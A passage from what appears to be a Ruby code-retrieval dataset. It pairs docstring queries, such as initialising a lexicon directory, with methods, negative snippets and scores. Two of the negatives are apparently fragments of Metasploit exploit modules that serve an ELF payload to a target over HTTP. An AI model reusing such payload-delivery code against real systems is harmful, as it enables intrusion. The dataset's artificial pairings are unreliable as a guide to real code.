"def handle( request )\n\t\t# If it's a finished upload, use that handler method\n\t\tif request.upload_done?\n\t\t\treturn self.handle_upload_done( request )\n\n\t\telse\n\t\t\tresponse = request.response\n\n\t\t\tsettings = Mongrel2::Config.settings\n\n\t\t\tresponse.headers.content_type = 'text/html'\n\t\t\tresponse.puts( @template.result(binding()) )\n\n\t\t\treturn response\n\t\tend\n\tend",
"def serve(io)\n @request = Request.new(io)\n log(\"Request #{@request[:instance]} #{@request[:recipient]}: #{@request.inspect}\") if $config[:debug]\n if @request.protected?\n if @request.command?\n if @request.authorized?\n self.send(@request[:command])\n respond(io, :DISCARD, :'executing command')\n else # not authorized\n respond(io, :REJECT, :'authorization failed')\n end\n else # not command\n if @request.learning?\n if @request.query_whitelist == :DENY\n sendmail($messages[:allow], $config[:sender], @request[:recipient], @request[:recipient].sub(/@/, \"+allow-#{@request[:domain]}@\"))\n else # found on whitelist\n sendmail($messages[:deny], $config[:sender], @request[:recipient], @request[:recipient].sub(/@/, \"+deny-#{@request[:domain]}@\"))\n end\n respond(io, :OK, :'learning mode') \n else # not learning\n if @request.query_whitelist == :SWALLOW\n respond(io, :DISCARD, :'found on whitelist with SWALLOW')\n elsif @request.query_whitelist == :ALLOW\n respond(io, :DUNNO, :'found on whitelist with ALLOW')\n else # not whitelisted\n respond(io, :REJECT, $config[:'reject-message']) \n end \n end\n end\n else # not protected\n respond(io, :DUNNO, :'not a whitelist protected recipient')\n end\n rescue Exception => e\n respond(io, :DUNNO, :'daemon error')\n log(e.message + \"\\n\" + e.backtrace.join(\"\\n\"))\n end",
"def on_request_uri(cli, request)\r\n #print_status(\"on_request_uri called: #{request.inspect}\")\r\n if (not @pl)\r\n print_error(\"#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!\")\r\n return\r\n end\r\n print_status(\"#{rhost}:#{rport} - Sending the payload to the server...\")\r\n @elf_sent = true\r\n send_response(cli, @pl)\r\n end",
"def on_request_uri(cli, request)\r\n #print_status(\"on_request_uri called: #{request.inspect}\")\r\n if (not @pl)\r\n print_error(\"#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!\")\r\n return\r\n end\r\n print_status(\"#{rhost}:#{rport} - Sending the payload to the server...\")\r\n @elf_sent = true\r\n send_response(cli, @pl)\r\n end",
"def dispatch(name, req, res); end",
"def run_request(hash)\n connection.run_request(hash[:verb], hash[:path], hash[:body],\n hash[:header])\n end",
"def handler( req )\n\t\treq.content_type = \"text/plain\"\n\t\treq.puts \"In content handler.\"\n\t\treq.server.log_error \"StageLogger {%d}>> RubyHandler: handler(%p)\" % [\n\t\t\tProcess.pid,\n\t\t\treq\n\t\t ]\n\n\t\treturn Apache::OK\n\tend",
"def run(request)\n @request = request\n @response = request.response\n validate\n extract\n end",
"def request_and_handle http_method, path, options\n if http_method.is_a?(String) || http_method.is_a?(Symbol)\n http_method = HTTP_METHODS[http_method.to_s]\n raise \"Unknown http method: #{http_method}\" unless http_method\n end\n \n req_options = default_options.dup\n req_options = req_options.merge(options)\n \n raise ConfigurationError.new \"No endpoint defined\" if !path || path.empty?\n raise ConfigurationError.new \"No hostname defined\" if !req_options[:base_uri] || req_options[:base_uri].empty?\n \n req = HTTParty::Request.new http_method, path, req_options\n\n begin\n response = req.perform\n rescue => ex\n raise RequestError.new req, ex\n end\n \n if defined?(Rails.logger)\n Rails.logger.info req.to_curl\n else\n puts req.to_curl\n end\n \n if !response.parsed_response.is_a?(Hash)\n raise ResponseParseError.new req, response\n elsif response[\"errors\"]\n raise ResponseError.new req, response[\"errors\"], response\n elsif response[\"message\"] && response[\"message\"] == \"Invalid Token or Expired\"\n raise InvalidAuthToken.new\n else\n return CityGrid::API::Response.new response\n end\n \n rescue => ex\n raise ex if CityGrid.raise_errors?\n end",
"def on_request(request, type)\n self.on_request_args = [request, type]\n self.on_request_called = true\n false # cancel request since we can't stub it\n end",
"def request_and_handle http_method, path, options\n if http_method.is_a?(String) || http_method.is_a?(Symbol)\n http_method = HTTP_METHODS[http_method.to_s]\n raise \"Unknown http method: #{http_method}\" unless http_method\n end\n \n req_options = default_options.dup\n req_options = req_options.merge(options)\n \n raise ConfigurationError.new \"No endpoint defined\" if !path || path.empty?\n raise ConfigurationError.new \"No hostname defined\" if !req_options[:base_uri] || req_options[:base_uri].empty?\n \n # prepare request\n req = HTTParty::Request.new http_method, path, req_options\n req.options[:timeout] = CityGrid.custom_timeout if req.options && CityGrid.custom_timeout_set?\n\n # Sanitized request for logs\n safe_req_options = strip_unsafe_params(http_method, req_options)\n req_to_output = HTTParty::Request.new http_method, path, safe_req_options\n req_for_airbrake = { :method => http_method, :path => path, :options => safe_req_options }\n\n begin\n response = req.perform\n rescue => ex \n if defined?(Rails.logger)\n Rails.logger.error safe_req_options\n Rails.logger.error req_to_output\n Rails.logger.error req_for_airbrake\n Rails.logger.error ex\n end\n raise CityGridExceptions::RequestError.new req_for_airbrake, nil, ex.message, req_to_output.to_curl\n ensure\n if CityGrid.print_curls? \n if defined?(Rails.logger)\n Rails.logger.info req_to_output.to_curl\n puts req_to_output.to_curl\n else\n puts req_to_output.to_curl\n end\n end\n end\n\n response_status = parse_response_status response\n \n begin \n # catch unparsable responses (html etc)\n if !response.parsed_response.is_a?(Hash)\n #pp \"[gem] the response was unparsable (response was not a hash)\"\n raise CityGridExceptions::ResponseParseError.new req_for_airbrake, response, \"the response was unparsable (response was not a hash)\", req_to_output.to_curl\n else\n # Parse and handle new response codes \n if !response_status.nil? && response_status[\"code\"] != \"SUCCESS\" && response_status[\"code\"] != 200\n raise CityGridExceptions.appropriate_error(response_status[\"code\"]).new req_for_airbrake, response, response_status[\"message\"].to_s, req_to_output.to_curl\n else\n return CityGrid::API::Response.new response\n end\n end\n rescue => ex\n pp \"API ERROR: #{ex}\"\n raise ex if CityGrid.raise_errors?\n end\n end",
"def lambda_handler(event:, context:)\n method = event['httpMethod']\n if method == 'GET'\n handle_get\n elsif method == 'POST'\n if event['body'] and store_score(event['body'])\n handle_post\n else\n handle_bad_request\n end\n else\n handle_bad_method(method)\n end\nend",
"def on_request_uri(cli, request)\r\n random_content = '<html><head></head><body><p>'+Rex::Text.rand_text_alphanumeric(20)+'<p></body></html>'\r\n send_response(cli, random_content)\r\n\r\n @received_request = true\r\n end",
"def receive_data(data)\n @idle = false\n trace data\n process if @request.parse(data)\n rescue InvalidRequest => e\n log_error(\"Invalid request\", e)\n post_process Response::BAD_REQUEST\n end",
"def request(*args)\n Request.request(self, *args)\n end"
] |
[
"0.7231377",
"0.705429",
"0.6949259",
"0.68906724",
"0.68281966",
"0.66867894",
"0.6656232",
"0.6612332",
"0.6596408",
"0.6568847",
"0.65283144",
"0.64938843",
"0.64932656",
"0.6485996",
"0.648474",
"0.64813787",
"0.6429493",
"0.6413863",
"0.63899356",
"0.63875246",
"0.63872844",
"0.6375255",
"0.63679445",
"0.635242",
"0.63326794",
"0.63326794",
"0.63326794",
"0.63326794",
"0.63326794",
"0.63326794",
"0.63326794",
"0.63326794",
"0.63326794",
"0.63326794",
"0.63326794",
"0.63223726",
"0.63193387",
"0.6293288",
"0.6253465",
"0.62353474",
"0.6231563",
"0.62157416",
"0.62137187",
"0.6211816",
"0.6165074",
"0.6155257",
"0.6148847",
"0.6137225",
"0.61322373",
"0.61321265",
"0.61283",
"0.61256415",
"0.61226046",
"0.61171407",
"0.61138123",
"0.6080583",
"0.60649854",
"0.6059289",
"0.6042983",
"0.6022981",
"0.6019072",
"0.60099036",
"0.59991455",
"0.5996164",
"0.5971998",
"0.59677345",
"0.59677345",
"0.59660065",
"0.59561",
"0.5955878",
"0.59529364",
"0.5952625",
"0.59515166",
"0.5946965",
"0.5943084",
"0.5940136",
"0.59354943",
"0.59282947",
"0.5918803",
"0.5918803",
"0.59180576",
"0.5907335",
"0.5907273",
"0.5905454",
"0.59028757",
"0.5902156",
"0.5892861",
"0.58865166",
"0.58865166",
"0.5876407",
"0.58731776",
"0.58663756",
"0.5863092",
"0.5858423",
"0.58576506",
"0.5843858",
"0.58113813",
"0.5804662",
"0.5792171",
"0.57887936"
] |
0.590092
|
86
|
Initialise with a lexicon directory
|
def initialize(lexicon_dir = nil)
@tagparser = USASTools::SemTag::Parser.new(USASTools::SemTag::Taxonomy.new(TAXONOMY_FILE))
@lexicons = load_lexicons(lexicon_dir) if lexicon_dir
@valid_languages = Dir.glob(File.join(TEMPLATE_DIR, LANGUAGE_REF_DIR, '*.erb')).map{ |x| File.basename(x).gsub(/\.erb$/, '') }
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def initialize\n @lexicons = Hash.new {|hash, k| hash[k] = []}\n File.open(lexicon_path, 'r').each do |line|\n line = line.split\n @lexicons[line.shift] = line\n end\n end",
"def initialize(ngrams_path, lexicon_path, interpolations = nil)\n @ngrams_path = File.expand_path(ngrams_path)\n @lexicon_path = File.expand_path(lexicon_path)\n super(interpolations)\n end",
"def initialize(directory)\n @directory = directory\n @lexicon = Lexicon.instance(directory)\n @table = {}\n end",
"def load_lexicons(dir)\n require 'usastools/lexicon'\n\n puts \"Loading lexicons from #{dir}...\"\n pl = USASTools::Lexicon::Parser.new(\n {semtag_parser: USASTools::SemTag::Parser.new(true, lambda{|*_| return true}, lambda{|*_| return true})}, \n {}, \n {\n case_sensitive: false,\n error_cb: lambda{ |line, msg, str|\n # $stderr.puts \" [E]#{line ? \" line #{line} :--\" : ''} #{msg} \"\n\t\t # $stderr.print \" [E]#{str} \\r\"\n\n return true } \n }\n\n )\n\n lexicons = {}\n Dir.glob( File.join(dir, '*_sw.usas') ).each do |fn|\n basename = File.basename(fn).gsub(/_sw\\.usas/, '')\n puts \" - #{basename}...\"\n lexicons[basename] = pl.parse( fn )\n end\n\n puts \"Loaded #{lexicons.length} lexicon[s] (#{lexicons.keys.join(', ')})\"\n return lexicons\n end",
"def populate_lexicon (file_name)\n begin\n #Opens given file for lexicon\n file = File.open(file_name, 'r')\n #Reads until the end of the file\n until file.eof?\n #For each line in the file compile into lexicon\n file.each_line do |line|\n line.chomp!\n #Gets first character of word\n first_char = line[0]\n #Processes word\n if first_char != ''\n # Get the length of the word\n len = line.length\n if $lexicon[first_char].has_key? len\n $lexicon[first_char][len][line] = 0\n else\n $lexicon[first_char][len] = Hash.new\n $lexicon[first_char][len][line] = 0\n end\n end\n end\n end\n file.close\n puts \"Lexicon populated\"\n rescue\n puts \"Error in populating lexicon\"\n exit 4\n end\nend",
"def initialize(path)\n super(DIR)\n \n @store = GitStore.new(path)\n @store.handler['md'] = PageHandler.new\n @store.load\n end",
"def initialize\n raise 'Au contraire, mon frere. No lexer instances will be running around.'\n end",
"def initialize_lexicon\n #Outer reference, for outermost hash\n 'a'.upto 'z' do |char|\n $lexicon[char] = Hash.new\n end\n puts \"Lexicon initialized\"\nend",
"def initialize(path); end",
"def initialize(dir)\n\t\t@dir = dir\n\tend",
"def initialize(dir)\n\t\t@dir = dir\n\tend",
"def initialize(dir)\n @dir = Pathname.new(dir)\n end",
"def initialize(dir)\n @dir = dir\n end",
"def initialize path\n # make menu instance accessible by the class\n @@menu = self\n @rolls = {}\n @sources = []\n\n # load a yaml file\n load_from_file path\n\n # create objects from the menu\n set_sources\n set_roll_models\n set_rolls\n end",
"def initialize(site, base, dir, name); end",
"def initialize(path)\n @path = path\n\n base = path.empty? ? docroot : \"#{docroot}/#{path}\"\n\n if File.directory? base\n @file = \"#{base}/README.md\"\n @dir = base\n @type = :readme\n elsif File.exist? \"#{base}.md\"\n @file = \"#{base}.md\"\n @dir = File.dirname file\n @type = :file\n else\n @file = ''\n @dir = docroot\n @type = :empty\n end\n end",
"def initialize dir = nil # yield loader, o\n @root = (dir && Pathname(dir)) || ROOT\n @logs = @root + LOGS\n \n CliConfig::DIR_CONFIG.unshift @root\n @conf = CliConfig.new\n @conf[:plugins_path] = [@root + PLUGINS, SYSTEM_PLUGINS]\n @conf.load do |o|\n yield self, o if block_given?\n o.on('-I DIR', 'Include DIR in search for plugins.') {|i|\n @conf[:plugins_path] << Pathname.new(i) if File.directory?(i)\n }\n o.on('--plugins-path', 'Print all searchable directories.') {\n print_plugins_path\n exit EX_OK\n }\n end\n \n print_env\n FileUtils.mkdir_p [@conf[:plugins_path], @logs]\n end",
"def initialize programa\n\t\t@tk = []\n\t\t@error = []\n\t\t@parserTk = []\n\t\tlexer(programa)\n\tend",
"def initialize(item)\n item = Pathname.new(item) if item.is_a?(String)\n if item.is_a?(Pathname)\n item = item.realpath\n item = Nanoc::Item.new(\n item.read, {:filename => item.to_s }, \"#{item}/\",\n :binary => false, :mtime => item.stat.mtime)\n end\n\n @item = item\n @parsed = nil\n\n super(\"tmp/pygments#{item.identifier}parsed\", 1)\n end",
"def lexers!\n mentos(:get_all_lexers).inject(Hash.new) do |hash, lxr|\n name = lxr[0]\n hash[name] = {\n :name => name,\n :aliases => lxr[1],\n :filenames => lxr[2],\n :mimetypes => lxr[3]\n }\n hash[\"dasm16\"] = {:name=>\"dasm16\", :aliases=>[\"DASM16\"], :filenames=>[\"*.dasm16\", \"*.dasm\"], :mimetypes=>['text/x-dasm16']}\n hash[\"Puppet\"] = {:name=>\"Puppet\", :aliases=>[\"puppet\"], :filenames=>[\"*.pp\"], :mimetypes=>[]}\n hash[\"Augeas\"] = {:name=>\"Augeas\", :aliases=>[\"augeas\"], :filenames=>[\"*.aug\"], :mimetypes=>[]}\n hash[\"TOML\"] = {:name=>\"TOML\", :aliases=>[\"toml\"], :filenames=>[\"*.toml\"], :mimetypes=>[]}\n hash[\"Slash\"] = {:name=>\"Slash\", :aliases=>[\"slash\"], :filenames=>[\"*.sl\"], :mimetypes=>[]}\n hash\n end\n end",
"def init\n FileUtils.mkdir_p home\n FileUtils.mkdir_p home(\"templates\")\n FileUtils.touch home(\"config.yml\")\n end",
"def initvars\n @lexer = Puppet::Parser::Lexer.new\n end",
"def initialize\r\n load_word_catalog\r\n end",
"def init\n if @dir_path\n @gen = Resource[@dir_path].entries.to_enum\n else\n @gen = [].each\n end\n end",
"def initialize(lang_code, lang_file_dirs)\n @lang_code, @lang_file_dirs = lang_code.to_sym, Array(lang_file_dirs)\n @yaml_parts, @ruby_parts = [], []\n # Create a new NestedHash but raise an EntryNotFound exception as\n # default action (if no matching key is found).\n @data = NestedHash.new do raise EntryNotFound end\n end",
"def initialize(path, path_type = :full)\n super()\n @ext_name = :yml\n @path_type = path_type\n @path = path\n end",
"def lexers\n begin\n lexer_file = File.expand_path('../../../lexers', __FILE__)\n raw = File.open(lexer_file, \"r\").read\n Marshal.load(raw)\n rescue Errno::ENOENT\n raise MentosError, \"Error loading lexer file. Was it created and vendored?\"\n end\n end",
"def initialize root_dir\n find_files root_dir\n end",
"def initialize(language, path = nil)\n @language = language\n @path = path || DEFAULT_PATH\n initialize_spellchecker(path)\n end",
"def initialize(input)\n path = File.expand_path input, Dir.pwd\n if File.exist?(path)\n html = File.open(path).read\n @path = path\n else\n @path = String\n html = input.to_s\n end\n @doc = Nokogiri::HTML normalize(html)\n semanticize!\n end",
"def initialize(path,logger=nil)\r\n @pathname = Pathname.new(path)\r\n @logger = logger\r\n scan_templates\r\n end",
"def initialize(root = \".\")\n @root = Pathname.new(root).expand_path\n @paths = Paths.new(@root)\n @extensions = Extensions.new\n @aliases = Hash.new { |h, k| h[k] = Extensions.new }\n end",
"def initialize path\n @path, @weight = path, 0\n @dependencies, @permissions, = [], []\n @name = File.basename(path).to_sym\n load_yaml\n end",
"def initialize(site, base, dir, name)\n @config = Tenji::Config\n\n @site = site\n @base = base\n @dir = dir\n @name = name ? name : 'index.html'\n @path = name ? File.join(base, dir, name) : ''\n\n read_file base, dir, name\n\n process_dir config.dir(:galleries), config.dir(:galleries, :out)\n process_name \n \n paginate config.items_per_page\n \n data.default_proc = proc do |_, key|\n site.frontmatter_defaults.find(File.join(dir, @name), type, key)\n end\n\n Jekyll::Hooks.trigger :pages, :post_init, self \n end",
"def initialize(dir)\n @root = dir\n raise \"Cannot find an engine in either #{dir}!\" if !File.exist?(@root)\n @name = File.basename(@root)\n @info = '(none)'\n end",
"def initialize(root)\n @root = File.expand_path(root)\n end",
"def initialize(path)\n @path = path\n @name = path.basename('.hook').to_s\n end",
"def initialize path, base_dir, defines\n @base_dir = base_dir\n source = File::open(path, \"r\") {|f| f.read }\n preprocessed = InnoSetup::preprocess(source, defines)\n sections = InnoSetup::split_into_sections(preprocessed)\n cs = parse_section sections['Components'], Component\n @components = build_hash(cs) {|c| c.name }\n @file_sets = parse_section sections['Files'], FileSet\n end",
"def initialize(*dictfiles)\n @searchmode = 0\n Dir.mkdir(dictDir) unless File.exist?(dictDir)\n\n # 固定辞書初期化\n @dc = DictCache.new\n if !@dc[\"kanji\"] then\n DictCache.createCache(dictfiles)\n end\n\n # 個人辞書を読出し\n @localdict = loadDict(localDictFile) \n\n # 学習辞書を読出し\n @studydict = loadDict(studyDictFile)\n end",
"def initialize(dir = '_site', config = '_config.yml')\n @dir = dir\n @config = config\n end",
"def initial_paths; end",
"def initialize_markdown_repo\r\n # initialize folders and git repo\r\n FileUtils.mkdir_p MARKDOWN_FOLDER unless File.exists?(MARKDOWN_FOLDER) # Make sure that path exists\r\n Dir.chdir(MARKDOWN_FOLDER)\r\n system('git init')\r\n Dir.chdir('..')\r\n end",
"def initialize(root = Dir.pwd)\n @root = Pathname.new(root)\n end",
"def initialize(path)\n @filename = Pathname.new(path).basename\n parser = ::Orgmode::Parser.new(File.open(path).read)\n @children = {}\n @headlines = []\n @last_parent = {}\n @root = Item.new(:title => @filename)\n @items = {}\n @parents = {}\n self.parse(parser,0)\n self.to_items\n self.items = @root\n end",
"def initialize\n root = Rush::Dir.new('/')\n home = Rush::Dir.new(ENV['HOME']) if ENV['HOME']\n pwd = Rush::Dir.new(ENV['PWD']) if ENV['PWD']\n\n @config = Rush::Config.new\n\n @history = Coolline::History.new config.history_file.full_path\n\n @readline = Coolline.new do |c|\n c.transform_proc = proc { syntax_highlight c.line }\n c.completion_proc = proc { complete c.completed_word }\n end\n\n @box = Rush::Box.new\n @pure_binding = @box.instance_eval \"binding\"\n $last_res = nil\n\n eval config.load_env, @pure_binding\n\n commands = config.load_commands\n Rush::Dir.class_eval commands\n Array.class_eval commands\n\n # Multiline commands should be stored somewhere\n @multiline_cmd = ''\n end",
"def init_existing\n return unless current_directory?\n\n FolderTree.for_path linked_path, root: directory, limit: folder_limit\n end",
"def initialize\n STDOUT.sync = true\n require \"linguist\"\n self.lang = Linguist.detect(Linguist::Blob.new \"\", self.class.instance_variable_get(:@paste))&.name\n end",
"def initialize root=\".\", verbose = true, ext=\".java\"\n @root = File.absolute_path root\n @verbose = verbose\n @files = Hash.new # files found\n @extension = ext\n end",
"def initialize(path)\n @path = Pathname.new(path).tap{ |check| check.stat }\n @namespace = @path.parent.basename.to_s\n @name = @path.basename.to_s\n initialize_specfile\n initialize_options\n initialize_directories\n initialize_models\n rescue Errno::ENOENT => error\n raise RuntimeError, error.message\n end",
"def initialize(src, filename = nil, initial_lineno = 1, comment: false, single_quote: false)\n optionable_init binding()\n @src = src\n @file = filename\n @line = initial_lineno\n @col = 1\n @fib = Fiber.new(&method(:lex))\n end",
"def initialize(directory)\n @dir = File.expand_path(directory)\n FileUtils.mkdir_p(@dir)\n @base_file = \"#{directory}/_base.json\"\n @completions_file = \"#{directory}/_comp.json\"\n self.load\n end",
"def parse_lexicon!\n read(lexicon_path) do |values|\n values.compact!\n\n word, word_count, rare = values.shift, values.shift.to_i, false\n word = classify(word) if rare = (word_count == 1)\n\n lexicon[word] += word_count\n\n values.each_slice(2) do |tag, count|\n lexicon[word, tag] += count.to_i\n end\n end\n end",
"def initialize(path = nil, attributes = {}, &block)\n @path = path\n @basename = path.to_s =~ /^-?$/ ? nil : File.basename(path)\n @reader = block ||\n lambda do |f|\n if ['-', nil].include?(f)\n $stdin.read\n else\n File.read(f, encoding: @encoding)\n end\n end\n @data = @reader.call(path)\n @name, @section, @tagline = sniff\n\n @styles = %w[man]\n @manual, @organization, @date = nil\n @markdown, @input_html, @html = nil\n @index = Ronn::Index[path || '.']\n @index.add_manual(self) if path && name\n\n attributes.each { |attr_name, value| send(\"#{attr_name}=\", value) }\n end",
"def initialize(source = '', options = {})\n @parent = options[:parent]\n @title = options[:title] || ''\n if options[:file]\n raise InvalidMarkdownPath, \"Could not find markdown file at #{source}\" unless File.exist?(source)\n\n source = File.read(source)\n @title ||= options[:file]\n end\n source = translate(source)\n parse!(source)\n end",
"def initialize(ctx, root, config_root=nil)\n @context = ctx\n set :root, root ? root : Dir.pwd\n end",
"def initialize(path, start_on_init = true)\n @path = path\n @comments = []\n load_yaml \n sort_yaml\n write_yaml\n end",
"def initialize(manifest)\n @manifest = manifest\n @annotations_directory = AnnotationsDir.new\n\n super(DIR_NAME, :required => true,\n :entries => [@manifest, @annotations_directory])\n end",
"def initialize(history_path=\"~/.config/fish/fishistory\")\n @history_path = File.expand_path(history_path)\n @parsed_path = File.join(@history_path, 'parsed')\n end",
"def initialize dir\n @ilog = logger\n @controllers = {} # fqname=> instance \n @load_dir = dir\n load_controllers dir if @load_dir\n end",
"def initialize file_path\n\t\traise ArgumentError if file_path.nil? or not File.exist?(file_path)\n\n\t\t# Read the file as an array of strings (each line is an entry in the array) and remove unneeded whitespace\n\t\t@grammar_string = File.readlines(file_path).map { |x| x.strip }\n\t\t@production_rules = {}\n\n\t\t#a variable for the marker we use in LR parsing\n\t\t@marker = \".\"\n\n\t\tparse_grammar\n\tend",
"def initialize(path)\n @path = path \n end",
"def initialize( fn )\n @path = fn\n @dir = ::Webby::Resources.dirname(@path)\n @name = ::Webby::Resources.basename(@path)\n @ext = ::Webby::Resources.extname(@path)\n @mtime = ::File.mtime @path\n\n @_meta_data = {}\n self._reset\n end",
"def initialize\n @dir = N\n end",
"def initialize(base_dir)\n @base_dir = base_dir\n end",
"def initialize current_dir,configuration\n @current_dir=current_dir\n @configuration=configuration\n @base_dir=File.expand_path(@configuration['base_dir'])\n @base_src=File.join(@base_dir,'src')\n end",
"def initialize(path)\n @dir = File.basename(path)\n @name = @dir.humanize\n end",
"def initialize(path, path_type = :full)\n super()\n @ext_name = :yml\n @path_type = path_type\n @original_path = path\n @relative_save_file_path = PathnameManager.new(path, path_type).relative_save_file_path\n end",
"def init(filepath)\n\t\tsuper # This loads the parent's init method (which stores self.root)\n\tend",
"def initialize(site, base, dir, name)\n @config = Tenji::Config\n @gallery_name = pathify(dir).name\n\n @site = site\n @base = base\n @dir = dir\n @name = name\n @path = File.join(base, dir, name)\n\n process_dir config.dir(:thumbs),\n config.dir(:galleries, :out), \n gallery_name,\n File.join(output_gallery_name, config.dir(:thumbs, :out))\n\n @relative_path = File.join(@dir, output_name)\n @extname = File.extname(@name)\n @data = @site.frontmatter_defaults.all(relative_path, type)\n end",
"def initialize(dir, page_extension)\n @dir = dir\n @extension = page_extension\n end",
"def initialize(bib, root_dir, hash=nil)\n super(hash)\n @bib = bib\n @root_dir = root_dir\n end",
"def initialize\n self.word_list = []\n WORD_FILES.each do |word_file|\n contents = File.read(File.dirname(__FILE__)+word_file)\n self.word_list = word_list + contents.split(/\\n/)\n end\n end",
"def initialize(path)\n @name = File.basename(path)\n @entities = []\n @imports = {}\n end",
"def initialize(dir)\n raise \"Invalid bundle directory: #{dir}\" unless File.directory?(dir)\n @bundle_dir = dir\n @bundle = {}\n\n parse_bundle\n end",
"def initialize(nod, c)\n\t\t\t\t\n\t\tsplitDirectory(nod)\n\t\t\n\t\tself.content = c\n\t\tself.description = \"-Creating a file: '#{name_of_subject}'\"\n\n\tend",
"def initialize(ispell='/usr/bin/ispell', lang='english')\n @ispell_bin, @lang = ispell, lang\n @options = ['-a','-S',\"-d #{lang}\"]\n @ispell = nil\n start!\n end",
"def initialize( directory = TyrantManager.default_directory )\n self.home_dir = File.expand_path( directory )\n if File.exist?( self.config_file ) then\n configuration # force a load\n else\n raise Error, \"#{home_dir} is not a valid TyrantManager home. #{self.config_file} does not exist\"\n end\n end",
"def initialize(root)\n root_dir = root.to_s.unicode_normalize(:nfkc)\n @root = Pathname.new(root_dir)\n @glob_cache = {}\n end",
"def initialize\n @dir_cases = nil\n @dir_results = nil\n @tidy = TidyExe.new\n end",
"def initialize(path, language)\n @path = path\n @language = language\n end",
"def initialize(site, path)\n super\n @metadata = [ :layout ]\n \n @name = File.basename(source_path, source_ext)\n end",
"def init_all_paths_liby\n\t\tcv_set(Liby, :path_lily_file \t => nil)\n\t\tcv_set(Liby, :path_pdf_file \t => nil)\n\t\tcv_set(Liby, :path_ruby_score => nil)\t\t\t\n\t\tcv_set(Liby, :path_affixe_file => nil)\t\t\t\n end",
"def po_dir=(dir); end",
"def initialize(path)\n @path = path\n # accepts a file path to parse mp3 files from \n end",
"def initialize(path, relations = {})\n @site = relations[:site]\n @path = path\n @extname = File.extname(path)\n @collection = relations[:collection]\n @type = @collection.label.to_sym\n\n @has_yaml_header = nil\n\n if draft?\n categories_from_path(\"_drafts\")\n else\n categories_from_path(collection.relative_directory)\n end\n\n data.default_proc = proc do |_, key|\n site.frontmatter_defaults.find(relative_path, type, key)\n end\n\n trigger_hooks(:post_init)\n end",
"def lex_start; end",
"def lex_start; end",
"def lex_start; end",
"def lex_start; end",
"def initialize(path)\n @open = false\n @reader = AlpinoCorpusFFI::alpinocorpus_open(path)\n\n if @reader.null?\n raise RuntimeError, \"Could not open corpus.\"\n end\n\n @open = true\n\n ObjectSpace.define_finalizer(self, self.class.finalize(self))\n end",
"def initialize(dir_or_config_hash)\n build_config(dir_or_config_hash)\n\n @code_snippets_loaded = false\n @items_loaded = false\n @layouts_loaded = false\n end",
"def initialize(dir_or_config_hash)\n build_config(dir_or_config_hash)\n\n @code_snippets_loaded = false\n @items_loaded = false\n @layouts_loaded = false\n end",
"def initialize(site, base, dir, name)\n @site = site\n @base = base\n @dir = dir\n @name = name\n @path = if site.in_theme_dir(base) == base # we're in a theme\n site.in_theme_dir(base, dir, name)\n else\n site.in_source_dir(base, dir, name)\n end\n\n process(name)\n read_yaml(PathManager.join(base, dir), name)\n generate_excerpt if site.config[\"page_excerpts\"]\n\n data.default_proc = proc do |_, key|\n site.frontmatter_defaults.find(relative_path, type, key)\n end\n\n Jekyll::Hooks.trigger :pages, :post_init, self\n end",
"def initialize path\n raise ArgumentError, \"External command file name must be provided\" unless path\n raise RuntimeError, \"External command directory holding file #{path} is not writable by this user.\" unless File.writable? File.dirname path\n \n @path = path\n end",
"def initialize(path)\n @path = File.expand_path(path)\n end",
"def initialize(base)\n @root = File.expand_path base\n @create_mode = nil\n @default = :open_hg\n end",
"def find_or_create_namespace(file)\n @namespace = YARD::CodeObjects::Lucid::LUCID_NAMESPACE\n\n File.dirname(file).split('/').each do |directory|\n @namespace = @namespace.children.find { |child| child.is_a?(YARD::CodeObjects::Lucid::FeatureDirectory) && child.name.to_s == directory } ||\n @namespace = YARD::CodeObjects::Lucid::FeatureDirectory.new(@namespace,directory) { |dir| dir.add_file(directory) }\n end\n\n if @namespace.description == \"\" && File.exists?(\"#{File.dirname(file)}/README.md\")\n @namespace.description = File.read(\"#{File.dirname(file)}/README.md\")\n end\n end",
"def initialize description\n\t\t\t@medias = []\n\t\t\t@md = nil\n\t\t\t@path = description\n\t\t\tfolder = description.split('/')\n\t\t\tif folder.length == 1\n\t\t\t\t@folder = '.'\n\t\t\telse\n\t\t\t\t@folder = folder[0..-2].join('/') + '/'\n\t\t\tend\n\t\t\t@config = YAML.load_file description\n\t\tend",
"def initialize dir\n @dir = dir\n unless File.directory?(dir)\n raise \"not a dir: #{dir.inspect} -- cannot set up persister\"\n end\n ### raise unless blobber is msgpack (or json)?\n end",
"def initialize(path)\n @path = File.expand_path(path)\n\n @directories = []\n @files = {}\n @templates = {}\n @includes = Hash.new { |hash,key| hash[key] = {} }\n\n @disable = []\n @enable = []\n\n @ignore = []\n @dependencies = {}\n @development_dependencies = {}\n @variables = {}\n\n load!\n scan!\n end"
] |
[
"0.72203845",
"0.68922275",
"0.64483106",
"0.6238303",
"0.61230874",
"0.5960258",
"0.59430695",
"0.5938836",
"0.59134763",
"0.5860554",
"0.5860554",
"0.5776075",
"0.57745945",
"0.57355803",
"0.57236266",
"0.57194513",
"0.56809",
"0.56761885",
"0.56683415",
"0.56601095",
"0.5650657",
"0.56395507",
"0.55933946",
"0.554451",
"0.5541074",
"0.5523479",
"0.5494792",
"0.54917985",
"0.5488989",
"0.5487889",
"0.5467816",
"0.54405797",
"0.5425311",
"0.54106617",
"0.53994805",
"0.5398625",
"0.53954935",
"0.53906363",
"0.5374336",
"0.5366012",
"0.53527063",
"0.5340532",
"0.5340119",
"0.5337505",
"0.5330667",
"0.53263885",
"0.5324189",
"0.53191376",
"0.53105044",
"0.52977544",
"0.529764",
"0.52804685",
"0.5279367",
"0.5275666",
"0.5272892",
"0.52726483",
"0.527192",
"0.5268641",
"0.5267689",
"0.5262629",
"0.52619994",
"0.52613056",
"0.5258819",
"0.52490664",
"0.5247905",
"0.52476776",
"0.52476674",
"0.52464116",
"0.5234973",
"0.52301615",
"0.52287143",
"0.52217865",
"0.52214015",
"0.5220843",
"0.5220555",
"0.52173525",
"0.51910317",
"0.5188717",
"0.5184785",
"0.51787126",
"0.51782733",
"0.5170591",
"0.5168947",
"0.5166512",
"0.51628816",
"0.515851",
"0.515851",
"0.515851",
"0.515851",
"0.51577365",
"0.51537406",
"0.51537406",
"0.5150827",
"0.5150798",
"0.5145499",
"0.51445407",
"0.5143845",
"0.5130898",
"0.5128242",
"0.51278585"
] |
0.71702266
|
1
|
Is the action valid at this time?
|
def valid?(action)
self.respond_to?(action.to_sym) && VALID_ACTIONS.include?(action)
end
